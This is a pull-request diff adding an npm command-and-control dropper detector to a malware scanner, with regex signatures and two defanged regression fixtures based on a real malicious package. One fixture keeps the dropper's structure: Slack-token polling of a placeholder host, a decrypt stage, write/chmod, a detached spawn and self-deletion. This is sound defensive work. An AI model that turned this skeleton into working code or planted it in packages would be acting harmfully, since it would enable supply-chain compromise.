Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions docs/detectors.md
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,11 @@ These use `ctx.config` values from `packages/rules/languages/*.json`.
- Flags file-level cluster: secrets-path + network, or shell + network.
- Severity: `warn`.

### `obf.npm-c2-dropper`
- Flags JavaScript/TypeScript package code with C2 polling, decrypt-stage,
write/chmod, and child-process launch signals.
- Severity: `block`.

### `obf.string-array-decoder.<lang>`
- Flags obfuscator-style string-array + decoder + sink pattern.
- Severity: `block`.
Expand Down
3 changes: 3 additions & 0 deletions packages/core/src/detectors/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@ import { suspiciousIoCluster } from "./suspicious-io-cluster.js";
import { stringArrayDecoder } from "./string-array-decoder.js";
import { shellUntrustedInput } from "./shell-untrusted-input.js";
import { libraryLoadNonLiteral } from "./library-load-non-literal.js";
import { npmC2Dropper } from "./npm-c2-dropper.js";

// Manifest — ecosystem-specific detectors
import { manifestInstallScript } from "./manifest-install-script.js";
Expand Down Expand Up @@ -52,6 +53,7 @@ const DEFAULTS: readonly Detector[] = Object.freeze([
dynamicExecNonLiteral,
deserializerUntrusted,
suspiciousIoCluster,
npmC2Dropper,
stringArrayDecoder,
shellUntrustedInput,
libraryLoadNonLiteral,
Expand All @@ -77,6 +79,7 @@ export {
networkThenExec,
deserializerUntrusted,
suspiciousIoCluster,
npmC2Dropper,
stringArrayDecoder,
shellUntrustedInput,
libraryLoadNonLiteral,
Expand Down
80 changes: 80 additions & 0 deletions packages/core/src/detectors/npm-c2-dropper.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
/**
* obf.npm-c2-dropper — Layer B/package malware heuristic.
*
* Flags the combined shape used by npm C2 droppers: package code polls a C2
* API, decrypts staged content, writes it to disk, marks it executable, and
* launches it with Node or a child process. Each individual API is common;
* the cluster is the signal.
*/

import type { Detector, FileContext, Finding } from "../types.js";
import { lineAtOffset, MAX_SOURCE_BYTES } from "../internal/patterns.js";
import { truncateSnippet } from "../internal/text.js";

const JS_LIKE = new Set(["javascript", "typescript"]);

const C2_RE =
/(?:slack\.com|conversations\.history|auth\.test|\bAuthorization\s*:\s*["']Bearer\s+|\bxox[abprs]-)/;
const CRYPTO_RE = /(?:AES-GCM|PBKDF2|subtle|\.decrypt\s*\(|deriveKey\s*\(|importKey\s*\()/;
const WRITE_RE = /\bwriteFileSync\s*\(/;
const CHMOD_RE = /\bchmodSync\s*\(/;
const CHILD_PROCESS_RE =
/(?:\bspawn\s*[:=,}]|\bexecSync\s*[:=,}]|\bchild_process\b|\bprocess\.execPath\b|\b\.unref\s*\()/;
const SELF_DELETE_RE = /\bunlinkSync\s*\(\s*__filename\b/;

export const npmC2Dropper: Detector = {
id: "obf.npm-c2-dropper",
docsUrl: "https://github.com/bytebardorg/obfuscan/blob/main/docs/detectors.md#obfnpm-c2-dropper",

applies(ctx: FileContext): boolean {
return (
ctx.source.length > 0 &&
ctx.source.length < MAX_SOURCE_BYTES &&
(ctx.languageId === null || JS_LIKE.has(ctx.languageId))
);
},

run(ctx: FileContext): Finding[] {
const src = ctx.source;
const c2 = C2_RE.exec(src);
if (!c2) return [];

const crypto = CRYPTO_RE.exec(src);
if (!crypto) return [];

const write = WRITE_RE.exec(src);
const chmod = CHMOD_RE.exec(src);
const child = CHILD_PROCESS_RE.exec(src);
const selfDelete = SELF_DELETE_RE.exec(src);
if (!write || !chmod || !child) return [];

const offset = Math.min(
c2.index,
crypto.index,
write.index,
chmod.index,
child.index,
selfDelete?.index ?? Number.POSITIVE_INFINITY,
);

return [{
ruleId: npmC2Dropper.id,
severity: "block",
score: 10,
file: ctx.path,
line: lineAtOffset(src, offset),
snippet: truncateSnippet(src.slice(offset, offset + 200)),
reason:
`JavaScript package contains C2 polling, decrypt-stage, write/chmod, ` +
`and child-process launch signals. This matches npm command-and-control dropper behavior.`,
evidence: {
c2: c2[0],
crypto: crypto[0],
writesFile: true,
chmodsFile: true,
launchesChildProcess: true,
selfDelete: !!selfDelete,
},
}];
},
};
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
# Defanged Slack C2 Loader

This fixture is based on a real-world malicious npm package sample reported by a user.

The source has been defanged before inclusion:

- No live Slack token or channel id remains.
- The network client is a stub and never sends requests.
- The decrypt function is a stub and never returns payload content.
- File deletion, file writing, chmod, process spawning, and polling are removed.
- The initialization block only logs a disabled message.

This fixture verifies that a fully disabled/remediated copy of the loader does not produce a block finding.
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
{
"description": "defanged Slack C2 loader sample remains non-blocking after network, decrypt, execution, and self-modifying behavior are removed",
"expectClean": true,
"mustNotFlag": ["obf.npm-c2-dropper"]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
// DEFANGED: previously malicious C2 loader using Slack as command & control.
// All network, decryption, execution and self-modifying behavior removed.

let l = require("https"); // kept for structure; not actually used
require("os");
let o = require("fs"),
t = require("path");
var e = require("crypto").webcrypto;
let { spawn: c, execSync: i } = require("child_process");

// Redacted secrets and identifiers
let u = "REDACTED_SLACK_TOKEN";
let d = "REDACTED_CHANNEL_ID";

// Original argv usage preserved but no longer used for anything sensitive.
let f = process.argv[2];
let s = Number(process.argv[3]);

// Keep paths/vars but do not use them for execution
let h = t.join(__dirname, "subwatcher");
let m = "0";
let y = null;
let p = null;
let w = {};
let n = e.subtle;

// Stub for decrypt function: logs and returns null.
async function S(enc, key) {
console.log("[DEFANGED] S() called; ignoring payload");
return null;
}

// Stub for Slack API client: never sends network requests.
function v(method, path, body) {
console.log("[DEFANGED] v() called with:", { method, path, body });
return Promise.resolve({ ok: false, error: "defanged" });
}

// Stub for self-delete / cleanup.
function g() {
console.log("[DEFANGED] g() called; no file operations performed");
}

// Stub for polling logic.
async function r() {
console.log("[DEFANGED] r() polling stub invoked");
}

// Initialization stub.
(async () => {
console.log("[DEFANGED] malicious loader disabled");
// Do not call auth.test or start setInterval
})().catch((e) => {
console.error("[DEFANGED] Fatal error:", e && e.message);
});
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# Slack C2 Dropper

This fixture models a real-world malicious npm package sample reported by a user.

The fixture is defanged before inclusion:

- It imports no real Node modules.
- `https`, `fs`, `path`, `child`, and `crypto` are inert local shim objects.
- The Slack token, channel id, host, encrypted content, salt, and IV are redacted placeholders.
- `example.invalid` is used instead of the original C2 host.
- No function is invoked at module load time.
- Even if imported, the APIs called by exported functions are local no-op shims.

The retained static structure is intentional: Slack/C2 API markers, PBKDF2/AES-GCM decrypt-stage markers, write/chmod staging, child-process launch shape, and self-delete shape.
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
{
"description": "defanged structural Slack C2 dropper fixture is blocked by the npm C2 dropper detector",
"mustFlag": ["obf.npm-c2-dropper"],
"mustBlock": ["obf.npm-c2-dropper"]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
// DEFANGED STRUCTURAL REGRESSION: no real modules are imported and every side-effect API is an inert local shim.
// The strings and call shapes model a Slack-backed npm C2 dropper without live secrets, live domains, or executable payloads.

const https = {
request(_options, _handler) {
return { on() {}, write() {}, end() {} };
},
};

const fs = {
writeFileSync() {},
chmodSync() {},
unlinkSync() {},
};

const path = {
join(...parts) {
return parts.join("/");
},
};

const child = {
spawn() {
return { unref() {} };
},
};

const crypto = {
subtle: {
importKey() {},
deriveKey() {},
decrypt() {},
},
};

const token = "xoxb-REDACTED-REDACTED-REDACTED";
const channel = "REDACTED_CHANNEL_ID";
const out = path.join("defanged", "subwatcher");

async function decryptStage(encrypted, key) {
await crypto.subtle.importKey("raw", key, "PBKDF2", false, ["deriveKey"]);
await crypto.subtle.deriveKey(
{ name: "PBKDF2", salt: "redacted", iterations: 100000, hash: "SHA-256" },
key,
{ name: "AES-GCM", length: 256 },
false,
["decrypt"],
);
return crypto.subtle.decrypt({ name: "AES-GCM", iv: "redacted" }, key, encrypted);
}

function pollSlackC2() {
const headers = { Authorization: "Bearer " + token };
return https.request({
hostname: "example.invalid",
path: "/api/conversations.history?channel=" + channel,
method: "GET",
headers,
}, () => {});
}

function stageAndLaunch(defangedPayload) {
fs.writeFileSync(out, defangedPayload, "utf8");
fs.chmodSync(out, "755");
child.spawn(process.execPath, [out], { detached: true, stdio: "ignore", windowsHide: true }).unref();
}

function cleanup() {
fs.unlinkSync(__filename);
}

export { decryptStage, pollSlackC2, stageAndLaunch, cleanup };
Loading